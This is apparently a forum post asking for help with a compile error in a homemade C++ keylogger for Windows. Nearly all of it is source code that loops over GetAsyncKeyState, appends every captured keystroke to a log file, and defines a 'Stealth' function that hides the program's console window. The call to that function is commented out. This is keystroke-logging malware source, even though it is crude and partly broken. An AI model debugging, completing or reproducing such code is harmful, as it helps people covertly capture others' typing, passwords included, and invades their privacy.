Hello, so im writing a basic keylogger and i want to add data to log file, but it says that i cant convert char to int. Everything else works fine.
Any ideas?
Code:
#include <iostream>#include <windows.h>
#include <stdio.h>
#include <time.h>
using namespace std;
int Save(char *file, int key)
{
FILE* myfile;
myfile = fopen(file, "a+");
if(key == 1 || key == 2)
return 0;
else if(key == 96)
fprintf(myfile, "%s", "0");
else if(key == 97)
fprintf(myfile, "%s", "1");
else if(key == 98)
fprintf(myfile, "%s", "2");
else if(key == 99)
fprintf(myfile, "%s", "3");
else if(key == 100)
fprintf(myfile, "%s", "4");
else if(key == 101)
fprintf(myfile, "%s", "5");
else if(key == 102)
fprintf(myfile, "%s", "6");
else if(key == 103)
fprintf(myfile, "%s", "7");
else if(key == 104)
fprintf(myfile, "%s", "8");
else if(key == 105)
fprintf(myfile, "%s", "9");
else if(key == 8)
fprintf(myfile, "%s", "[BACKSPACE]");
else
fprintf(myfile, "%s", &key); // saves key to log file
cout << key << endl;
fclose(myfile);
}
void Stealth() // makes window invisible
{
HWND stealth;
AllocConsole();
stealth = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(stealth, NULL);
}
int main()
{
char i;
char *time1;
time_t rawtime;
struct tm *timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
//cout << asctime(timeinfo);
time1 = asctime(timeinfo);
Save("Time.txt", time1); //this is the error
//Stealth();
while(true)
{
for(i=8; i<=190; i++)
{
if(GetAsyncKeyState(i) == -32767) // checks if any key is pressed
{
Save("Log.txt", i);
}
}
}
}